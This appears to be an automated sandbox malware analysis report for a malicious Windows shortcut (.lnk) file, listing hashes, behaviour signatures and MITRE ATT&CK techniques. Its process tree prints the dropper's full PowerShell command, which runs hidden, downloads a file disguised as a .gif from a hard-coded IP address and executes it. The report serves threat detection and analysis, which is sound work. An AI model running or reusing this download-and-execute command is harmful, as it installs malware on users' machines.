9741cb496407d8982a7996a59651bce8981139b34630fa49d27d390c1e75c4ce

Analysis

max time kernel
94s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2024, 14:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

edd1ba6ed1e88ac13caacd2b05442fc9_JaffaCakes118.lnk
Size

1KB
MD5

edd1ba6ed1e88ac13caacd2b05442fc9
SHA1

139a667a77a6cccd02b3adb93650a05c999ba48d
SHA256

9741cb496407d8982a7996a59651bce8981139b34630fa49d27d390c1e75c4ce
SHA512

996656d7ee14b8c09014e8a61a2c3ad6ee13efc1b5da730286274b7c58e027ff1efb2fc097d4eced47c3aa2ef1501bac8bbf164845fda7c9550bf583d4ca7104

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://165.227.8.89/moyuhtsapren/yotslek.gif

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	6040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6040	powershell.exe
6040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	6040	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 6040	4992	cmd.exe	85
PID 4992 wrote to memory of 6040	4992	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\edd1ba6ed1e88ac13caacd2b05442fc9_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://165.227.8.89/moyuhtsapren/yotslek.gif','C:\Users\Admin\AppData\Local\Temp\at.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\at.exe'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gemlitj2.yep.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/6040-2-0x00007FF899563000-0x00007FF899565000-memory.dmp

Filesize
8KB

Download
memory/6040-3-0x000002947CCF0000-0x000002947CD12000-memory.dmp

Filesize
136KB

Download
memory/6040-13-0x00007FF899560000-0x00007FF89A021000-memory.dmp

Filesize
10.8MB

Download
memory/6040-14-0x00007FF899560000-0x00007FF89A021000-memory.dmp

Filesize
10.8MB

Download
memory/6040-15-0x00007FF899560000-0x00007FF89A021000-memory.dmp

Filesize
10.8MB

Download
memory/6040-16-0x00007FF899560000-0x00007FF89A021000-memory.dmp

Filesize
10.8MB

Download
memory/6040-19-0x00007FF899560000-0x00007FF89A021000-memory.dmp

Filesize
10.8MB

Download